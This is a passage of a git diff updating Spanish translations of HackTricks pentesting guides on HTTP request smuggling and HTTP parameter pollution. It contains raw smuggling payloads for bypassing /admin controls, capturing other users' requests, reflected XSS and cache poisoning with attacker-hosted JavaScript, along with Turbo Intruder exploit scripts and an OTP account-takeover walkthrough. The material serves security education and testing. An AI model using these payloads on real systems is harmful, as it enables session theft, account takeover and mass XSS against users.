+Para **más información sobre los encabezados hop-by-hop**, visita:
{% content-ref url="../abusing-hop-by-hop-headers.md" %}
[abusing-hop-by-hop-headers.md](../abusing-hop-by-hop-headers.md)
{% endcontent-ref %}
-## Abusando del HTTP Request Smuggling
+## Abuso de HTTP Request Smuggling
-### Para evadir controles de seguridad front-end
+### Para evadir controles de seguridad del front-end
-A veces los **proxies front-end realizan algunas comprobaciones de seguridad**. Puedes evitarlas abusando del HTTP Request Smuggling ya que podrás **eludir las protecciones**. Por ejemplo, en este ejemplo **no puedes acceder a `/admin` desde el exterior** y el proxy front-end está comprobando eso, pero este **proxy no está comprobando la solicitud embebida**:
+A veces los **proxies del front-end realizan algunas verificaciones de seguridad**. Puedes evitarlos abusando de HTTP Request Smuggling ya que podrás **burlar las protecciones**. Por ejemplo, en este caso **no puedes acceder a `/admin` desde el exterior** y el proxy del front-end lo está verificando, pero este **proxy no está verificando la solicitud incrustada**:
**CL.TE**
@@ -213,13 +213,13 @@ A veces los **proxies front-end realizan algunas comprobaciones de seguridad**.
`0`\
`\`
-### Revelando la reescritura de solicitudes front-end
+### Revelando la reescritura de solicitudes del front-end
-En muchas aplicaciones, el **servidor front-end realiza alguna reescritura de solicitudes** antes de que sean enviadas al servidor back-end, típicamente añadiendo algunos encabezados adicionales a la solicitud.\
-Una práctica común es **añadir al encabezado de la solicitud** `X-Forwarded-For: ` o algún encabezado similar para que el back-end conozca la IP del cliente.\
-A veces, si puedes **encontrar qué nuevos valores se añaden** a la solicitud podrías ser capaz de **eludir protecciones** y **acceder a información/endpoint ocultos**.
+En muchas aplicaciones, el **servidor del front-end realiza alguna reescritura de solicitudes** antes de enviarlas al servidor del back-end, típicamente agregando algunos encabezados de solicitud adicionales.\
+Una acción común es **agregar al encabezado de la solicitud** `X-Forwarded-For: ` u otro encabezado similar para que el back-end conozca la IP del cliente.\
+A veces, si puedes **encontrar qué nuevos valores se agregan** a la solicitud, podrías ser capaz de **burlar protecciones** y **acceder a información oculta**/**puntos finales**.
-Para descubrir cómo el proxy está reescribiendo la solicitud necesitas **encontrar un parámetro POST que el back-end reflejará su valor** en la respuesta. Luego, usa este parámetro como el último y utiliza un exploit como este:
+Para descubrir cómo el proxy reescribe la solicitud, necesitas **encontrar un parámetro POST que el back-end reflejará en su valor** en la respuesta. Luego, utiliza este parámetro como el último y usa un exploit como este:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@@ -230,16 +230,16 @@ Para descubrir cómo el proxy está reescribiendo la solicitud necesitas **encon
``\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\``\
`search=`
-En este caso la siguiente solicitud se añadirá después de `search=`, que es también **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, va a **reflejar los encabezados de la siguiente solicitud**.
+En este caso, la próxima solicitud se agregará después de `search=`, que es también **el parámetro cuyo valor se reflejará** en la respuesta, por lo tanto, se **reflejarán los encabezados de la próxima solicitud**.
-Nota que **solo la longitud indicada en el encabezado `Content-Length` de la solicitud embebida se reflejará**. Si usas un número bajo, solo se reflejarán unos pocos bytes, si usas un número mayor que la longitud de todos los encabezados, entonces la solicitud embebida generará un error. Entonces, deberías **comenzar** con un **número pequeño** e **incrementarlo** hasta que veas todo lo que querías ver.\
-Nota también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.
+Ten en cuenta que **solo se reflejará la longitud indicada en el encabezado `Content-Length` de la solicitud incrustada**. Si usas un número bajo, solo se reflejarán unos pocos bytes, si usas un número mayor que la longitud de todos los encabezados, entonces la solicitud incrustada arrojará un error. Por lo tanto, debes **comenzar** con un **número pequeño** y **aumentarlo** hasta que veas todo lo que deseas ver.\
+También ten en cuenta que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
-Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy front-end está reescribiendo la solicitud.
+Finalmente, ten en cuenta que en este ataque todavía estamos atacándonos a nosotros mismos para aprender cómo el proxy del front-end está reescribiendo la solicitud.
### Capturando solicitudes de otros usuarios
-Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes añadir la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
+Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de los parámetros, puedes agregar la siguiente solicitud como el valor de ese parámetro para almacenar la solicitud del siguiente cliente:
`POST / HTTP/1.1`\
`Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net`\
@@ -257,20 +257,20 @@ Si puedes encontrar una solicitud POST que va a guardar el contenido de uno de l
\`\`\
`csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=`
-En este caso, el valor del **parámetro comentario** se **guardará dentro de un comentario** de una publicación en la página que está **disponible públicamente**, por lo que un **comentario aparecerá con el contenido de la siguiente solicitud**.
+En este caso, el valor del **parámetro comentario** se guardará dentro de un comentario de una publicación en la página que es **públicamente accesible**, por lo que aparecerá un **comentario con el contenido de la siguiente solicitud**.
-_Una limitación con esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que sea aplicable para la solicitud contrabandeada. Para envíos de formularios codificados en URL, será el carácter `&`, lo que significa que el contenido que se almacena de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._
+_Una limitación de esta técnica es que generalmente solo capturará datos hasta el delimitador de parámetros que es aplicable para la solicitud contrabandeada. Para envíos de formularios codificados en URL, esto será el carácter `&`, lo que significa que el contenido almacenado de la solicitud del usuario víctima terminará en el primer `&`, que incluso podría aparecer en la cadena de consulta._
-Nota también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se añadirán al parámetro de búsqueda.
+Ten en cuenta también que esta **técnica también es explotable con una vulnerabilidad TE.CL** pero la solicitud debe terminar con `search=\r\n0`. Sin embargo, independientemente de los caracteres de nueva línea, los valores se agregarán al parámetro de búsqueda.
-### Usando HTTP Request Smuggling para explotar XSS reflejado
+### Usar HTTP request smuggling para explotar XSS reflejado
-Si la página web también es **vulnerable a XSS reflejado**, puedes abusar del HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado desde HTTP Request Smuggling tiene algunas ventajas:
+Si la página web también es **vulnerable a XSS reflejado**, puedes abusar de HTTP Request Smuggling para atacar a los clientes de la web. La explotación de XSS reflejado desde HTTP Request Smuggling tiene algunas ventajas:
-* **No requiere interacción con los usuarios víctimas**
-* Se puede utilizar para **explotar** comportamientos XSS en partes de la solicitud que **no se pueden controlar trivialmente en un ataque XSS reflejado normal**, como los encabezados de las solicitudes HTTP.
+* **No requiere interacción con los usuarios víctima**
+* Se puede usar para **explotar** el comportamiento de XSS en partes de la solicitud que **no pueden ser controladas trivialmente en un ataque de XSS reflejado normal**, como los encabezados de solicitud HTTP.
-Si una web es vulnerable a XSS reflejado en el encabezado User-Agent puedes usar este payload para explotarlo:
+Si una web es vulnerable a XSS reflejado en el encabezado User-Agent, puedes usar este payload para explotarlo:
`POST / HTTP/1.1`\
`Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net`\
@@ -289,9 +289,9 @@ Si una web es vulnerable a XSS reflejado en el encabezado User-Agent puedes usar
\`\`\
`A=`
-### Usando HTTP Request Smuggling para convertir una redirección interna en una redirección abierta
+### Usar HTTP request smuggling para convertir una redirección en el sitio en una redirección abierta
-Muchas aplicaciones realizan redirecciones internas de una URL a otra y colocan el nombre de host del encabezado `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud de una carpeta sin una barra inclinada al final recibe una redirección a la misma carpeta incluyendo la barra inclinada:
+Muchas aplicaciones realizan redirecciones en el sitio de una URL a otra y colocan el nombre de host del encabezado `Host` de la solicitud en la URL de redirección. Un ejemplo de esto es el comportamiento predeterminado de los servidores web Apache e IIS, donde una solicitud para una carpeta sin una barra diagonal recibe una redirección a la misma carpeta incluyendo la barra diagonal:
`GET /home HTTP/1.1`\
`Host: normal-website.com`\
@@ -311,7 +311,7 @@ Este comportamiento normalmente se considera inofensivo, pero puede ser explotad
`Host: attacker-website.com`\
`Foo: X`
-La solicitud contrabandeada desencadenará una redirección al sitio web del atacante, lo que afectará la siguiente solicitud del usuario que sea procesada por el servidor back-end. Por ejemplo:
+La solicitud contrabandeada desencadenará una redirección al sitio web del atacante, lo que afectará la solicitud del siguiente usuario que sea procesada por el servidor del back-end. Por ejemplo:
`GET /home HTTP/1.1`\
`Host: attacker-website.com`\
@@ -323,15 +323,15 @@ La solicitud contrabandeada desencadenará una redirección al sitio web del ata
Aquí, la solicitud del usuario era para un archivo JavaScript que fue importado por una página en el sitio web. El atacante puede comprometer completamente al usuario víctima devolviendo su propio JavaScript en la respuesta.
-### Usando HTTP Request Smuggling para realizar envenenamiento de caché web
+### Usar HTTP request smuggling para realizar envenenamiento de caché web
-Si alguna parte de la **infraestructura front-end realiza caché de contenido** (generalmente por razones de rendimiento) entonces **podría ser posible envenenar esa caché modificando la respuesta del servidor**.
+Si alguna parte de la **infraestructura del front-end realiza almacenamiento en caché de contenido** (generalmente por razones de rendimiento), **podría ser posible envenenar esa caché modificando la respuesta del servidor**.
-Ya hemos visto cómo modificar el valor de retorno esperado del servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de /index.html cuando la solicitud envenenada está pidiendo `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará en caché con el contenido de `/index.html` haciendo `/static/include.js` inaccesible para los clientes (¿DoS?).
+Ya hemos visto cómo modificar el valor devuelto esperado del servidor a un 404 (en los [Ejemplos Básicos](./#basic-examples)), de manera similar podrías hacer que el servidor devuelva el contenido de `/index.html` cuando la solicitud envenenada esté pidiendo `/static/include.js`. De esta manera, el contenido de `/static/include.js` se almacenará con el contenido de `/index.html`, haciendo que `/static/include.js` sea inaccesible para los clientes (¿DoS?).
-Nota que esto es aún más interesante si encuentras algún **Open Redirect** o alguna **redirección interna a redirección abierta** (última sección). Porque, podrías ser capaz de **cambiar los valores de caché** de `/static/include.js` con **los de un script controlado por ti** (haciendo un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`).
+Esto es aún más interesante si encuentras alguna **Redirección Abierta** o alguna **redirección en el sitio a redirección abierta** (última sección). Porque podrías ser capaz de **cambiar los valores en caché** de `/static/include.js` con los **de un script controlado por ti** (realizando un **XSS general a todos los clientes** que intenten descargar la nueva versión de `/static/include.js`).
-En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección interna a redirección abierta** para modificar los contenidos de la caché de `/static/include.js` para **servir código JS controlado** por el atacante:
+En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché + redirección en el sitio a redirección abierta** para modificar los contenidos en caché de `/static/include.js` para **servir código JS controlado** por el atacante:
`POST / HTTP/1.1`\
`Host: vulnerable.net`\
@@ -347,18 +347,18 @@ En este ejemplo se mostrará cómo puedes explotar un **envenenamiento de caché
\`\`\
`x=1`
-Nota cómo la solicitud embebida está pidiendo `/post/next?postId=3` Esta solicitud será redirigida a `/post?postId=4` y **usará el valor del encabezado Host** para indicar el dominio. Por lo tanto, puedes **modificar el encabezado Host** para apuntar al servidor del atacante y la redirección usará ese dominio (**redirección interna a redirección abierta**).
+Observa cómo la solicitud incrustada está pidiendo `/post/next?postId=3`. Esta solicitud será redirigida a `/post?postId=4` y **utilizará el valor del encabezado Host** para indicar el dominio. Por lo tanto, puedes **modificar el encabezado Host** para apuntar al servidor del atacante y la redirección usará ese dominio (**redirección en el sitio a redirección abierta**).
-Luego, **después de envenenar el socket**, necesitas enviar una **solicitud GET** a **`/static/include.js`** esta solicitud será **envenenada** por la solicitud de **redirección interna a redirección abierta** y **obtendrá los contenidos del script controlado por el atacante**.
+Luego, **después de envenenar el socket**, debes enviar una **solicitud GET** a \*\*`/static/include.js`\*\* esta solicitud será **envenenada** por la solicitud **de redirección en el sitio a redirección abierta** y **obtendrá los contenidos del script controlado por el atacante**.
-La próxima vez que alguien pida `/static/include.js` se servirán los contenidos en caché del script del atacante (XSS general).
+La próxima vez que alguien solicite `/static/include.js`, se servirán los contenidos en caché del script del atacante (XSS general).
-### Usando HTTP Request Smuggling para realizar decepción de caché web
+### Usar HTTP request smuggling para realizar engaño de caché web
-> **¿Cuál es la diferencia entre envenenamiento de caché web y decepción de caché web?**
+> **¿Cuál es la diferencia entre envenenamiento de caché web y engaño de caché web?**
>
-> * En el **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
-> * En la **decepción de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y el atacante luego recupera este contenido de la caché.
+> * En **envenenamiento de caché web**, el atacante hace que la aplicación almacene algún contenido malicioso en la caché, y este contenido se sirve desde la caché a otros usuarios de la aplicación.
+> * En **engaño de caché web**, el atacante hace que la aplicación almacene algún contenido sensible perteneciente a otro usuario en la caché, y luego el atacante recupera este contenido de la caché.
En esta variante, el atacante contrabandea una solicitud que devuelve algún contenido sensible específico del usuario. Por ejemplo:
@@ -371,12 +371,12 @@ En esta variante, el atacante contrabandea una solicitud que devuelve algún con
`GET /private/messages HTTP/1.1`\
`Foo: X`
-Si el **envenenamiento alcanza a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **almacenado en caché**. Los contenidos de `/private/messages` de la víctima se almacenarán en caché en `/someimage.png` y el atacante podrá robarlos.\
-Nota que el **atacante no sabe qué contenido estático estaba intentando acceder la víctima** por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todo** el contenido estático y **buscar los datos privados**.
+Si el **veneno llega a un cliente que estaba accediendo a algún contenido estático** como `/someimage.png` que iba a ser **caché**, los contenidos de `/private/messages` del usuario víctima se almacenarán en `/someimage.png` y el atacante podrá robarlos.\
+Ten en cuenta que el **atacante no sabe qué contenido estático estaba intentando acceder el usuario víctima** por lo que probablemente la mejor manera de probar esto es realizar el ataque, esperar unos segundos y **cargar todos** los contenidos estáticos y **buscar los datos privados**.
### Armando HTTP Request Smuggling con Desincronización de Respuesta HTTP
-¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:
+¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba este otro método de explotación:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
@@ -386,7 +386,7 @@ Nota que el **atacante no sabe qué contenido estático estaba intentando accede
### CL.TE
-De [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
+Desde [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
@@ -427,7 +427,7 @@ table.add(req)
```
### TE.CL
-De: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
+Desde: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -471,9 +471,9 @@ table.add(req)
```
## Más información
-![](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
+![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
-[Imagen de aquí.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
+[Imagen desde aquí.](https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104)
## Herramientas
@@ -481,7 +481,7 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
-* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el smuggling de solicitudes.
+* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta herramienta es un Fuzzer HTTP basado en gramática útil para encontrar discrepancias extrañas en el tráfico de solicitudes.
## Referencias
@@ -495,14 +495,14 @@ table.add(req)
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
+* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/parameter-pollution.md b/pentesting-web/parameter-pollution.md
index 894568a2d..6abab10ef 100644
--- a/pentesting-web/parameter-pollution.md
+++ b/pentesting-web/parameter-pollution.md
@@ -2,86 +2,71 @@
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
-**Copiado de** [**https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654**](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
+# Visión General de la Contaminación de Parámetros HTTP (HPP)
-**Resumen:**
+La Contaminación de Parámetros HTTP (HPP) es una técnica de ataque que implica la manipulación de parámetros HTTP para alterar el comportamiento esperado de una aplicación web. Este tipo de ataque es relativamente sencillo pero puede ser sorprendentemente efectivo. Aunque la manipulación de parámetros ocurre en el lado del servidor y no es visible para el usuario, los cambios de comportamiento resultantes pueden ser observados en el lado del cliente.
-La Contaminación de Parámetros HTTP (HPP) significa contaminar los parámetros HTTP de una aplicación web para lograr una tarea maliciosa específica. Se refiere a manipular cómo un sitio web trata los parámetros que recibe durante las solicitudes HTTP. Cambia el comportamiento de un sitio web de su intención original. La contaminación de parámetros HTTP es un tipo de ataque simple pero efectivo.
+## Ejemplo de Contaminación de Parámetros HTTP (HPP)
-Cuando contaminas cualquier parámetro, el código solo se ejecuta en el lado del servidor, que es invisible para nosotros, pero podemos ver los resultados en nuestra pantalla. El proceso intermedio es una caja negra.
+Considera una URL estándar de transacción para una aplicación bancaria:
-Por ejemplo, hay una URL https://www.anybank.com/send que tiene tres parámetros:
+**URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
-1. from:
-2. to:
-3. amount:
+Esta URL inicia una transacción de 10,000 desde la cuentaA a la cuentaB. Sin embargo, introducir otro parámetro `from` de la siguiente manera:
-**URL: https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000**
+**URL Manipulada:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
-Ahora esta es una URL normal que procederá una transacción de 10000 de accountA a accountB pero ¿qué pasa si agregamos otro parámetro igual **“from:”**?
+podría resultar en que la transacción se descuente de la cuentaC en lugar de la cuentaA. Esto ejemplifica cómo se puede utilizar HPP para manipular parámetros. Es importante destacar que esta vulnerabilidad no se limita a las solicitudes GET, sino que también puede ser explotada en solicitudes POST en diversas funcionalidades como cambios de contraseña, autenticación de dos factores o transmisiones de claves API.
-Entonces la URL será como **https://www.anybank.com/send/?from=accountA\&to=accountB\&amount=10000\&from=accountC**
+Es importante reconocer que el análisis de parámetros depende de la tecnología web específica utilizada. Herramientas como [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) pueden ser utilizadas para identificar tecnologías web y comprender sus comportamientos de análisis de parámetros.
-Cuando esta URL proceda una transacción de 10000, se deducirá de accountC en lugar de accountA. Así es como manipulas los parámetros en un ataque de **Contaminación de Parámetros HTTP**. Aunque el alcance de esta vulnerabilidad no se limita solo a solicitudes **GET**, también puedes realizar este ataque en una solicitud basada en **POST**. Puedes probar esta vulnerabilidad en muchos lugares como cambio de contraseña, 2FA, comentarios, subida de foto de perfil, en un parámetro donde se pasa la clave API, OTP, etc.
+## PHP
-Cuando manipulas cualquier parámetro, su manipulación depende de cómo cada tecnología web está analizando sus parámetros. Puedes identificar tecnologías web usando “[Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/)”. A continuación se muestra la captura de pantalla de algunas tecnologías y su análisis de parámetros. Tecnologías y su análisis de parámetros
+Un ejemplo notable de explotación de HPP involucró los siguientes pasos:
-![Imagen para el post](https://miro.medium.com/max/1760/1\*POs4sP0fQVlPvTH9vw1U-A.jpeg)
+1. **Manipulación de OTP:**
+- Se tenía como objetivo una página de inicio de sesión que solicitaba un OTP.
+- Después de enviar una solicitud de OTP, la solicitud HTTP subsiguiente fue interceptada utilizando Burp Suite.
+- Se agregó otro correo electrónico a la solicitud, duplicando efectivamente el parámetro `email`.
+- El OTP destinado al primer correo electrónico fue enviado por error al segundo correo electrónico, permitiendo el acceso no autorizado a la primera cuenta.
-Me gustaría compartir uno de mis hallazgos de HPP donde pude tomar control de una cuenta usando esta vulnerabilidad.
+Este incidente destaca cómo el backend de la aplicación procesaba los parámetros `email`, utilizando el primero para la generación de OTP y el segundo para la entrega de OTP.
-**¿Cómo encontré esta vulnerabilidad?**
+# Análisis de Parámetros en Flask y PHP
-1. Fui a una página de inicio de sesión de ese programa, pidió un OTP para iniciar sesión
+Diferentes tecnologías web analizan los parámetros de manera única. Por ejemplo, con una consulta como `a=1&a=2`, Flask y PHP interpretarán el parámetro de manera diferente:
-Enviar OTP
+- **Flask:** Toma la primera ocurrencia (a=1).
+- **PHP (en el Servidor HTTP Apache):** Toma la última ocurrencia (a=2).
-![Imagen para el post](https://miro.medium.com/max/600/1\*s-M09yWBylPVEhA6\_e0nSw.jpeg)
+Esta diferencia en el manejo de parámetros puede impactar significativamente en el comportamiento de la aplicación y en la vulnerabilidad a ataques de HPP. Se pueden encontrar más detalles al respecto en [este artículo](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution).
-2\. Escribí un correo electrónico y hice clic en "Enviar Contraseña de Un Solo Uso"
-
-3\. Intercepté la solicitud usando burp suite y agregué otro correo electrónico usando el mismo parámetro (creé dos correos electrónicos para propósitos de prueba) Solicitud de Burp
-
-![Imagen para el post](https://miro.medium.com/max/1737/1\*z\_RpnZyKHLn6B4Lz4ONT3Q.png)
-
-4\. Recibí un OTP de shrey……@gmail.com en mi otra cuenta radhika…..@gmail.com OTP
-
-![Imagen para el post](https://miro.medium.com/max/784/1\*a671GrRtiMYfLUL7nURD8Q.png)
-
-5\. Copié el OTP y fui a shrey….@gmail.com en la pantalla de inicio de sesión de ese programa, ingresé este OTP y estaba dentro de la cuenta. Toma de Cuenta
-
-![Imagen para el post](https://miro.medium.com/max/1698/1\*Ux-ILfCr\_Mk\_xmzzsXwNnA.jpeg)
-
-Entonces, lo que sucedió aquí es que la aplicación de back-end tomó el valor del primer parámetro "**email**" para generar un OTP y usó el valor del segundo parámetro "**email**" para suministrar el valor, lo que significa que un OTP de shrey….@gmail.com fue enviado a radhika….@gmail.com.
-
-**NOTA:** Aquí en una imagen en el 4º paso donde recibí un OTP a radhika….@gmail.com estaba confundido porque el mensaje decía Hola Radhika, así que pensé que el parámetro no estaba contaminado y el OTP era para radhika….@gmail.com pero cuando probé el OTP en shrey….@gmail.com funcionó.
-
-## Flask & PHP
-
-En [**este informe**](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution) puedes ver cómo una consulta HTTP como `a=1&a=2` será interpretada de manera diferente por Flask y PHP ejecutándose en un Apache HTTP Server. En Flask, el parámetro será `1` (primera ocurrencia) mientras que en PHP será `2` (última ocurrencia).
+# Referencias
+* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
+* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
Otras formas de apoyar a HackTricks:
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/pentesting-web/saml-attacks/saml-basics.md b/pentesting-web/saml-attacks/saml-basics.md
index 1772ca718..dad85c2d1 100644
--- a/pentesting-web/saml-attacks/saml-basics.md
+++ b/pentesting-web/saml-attacks/saml-basics.md
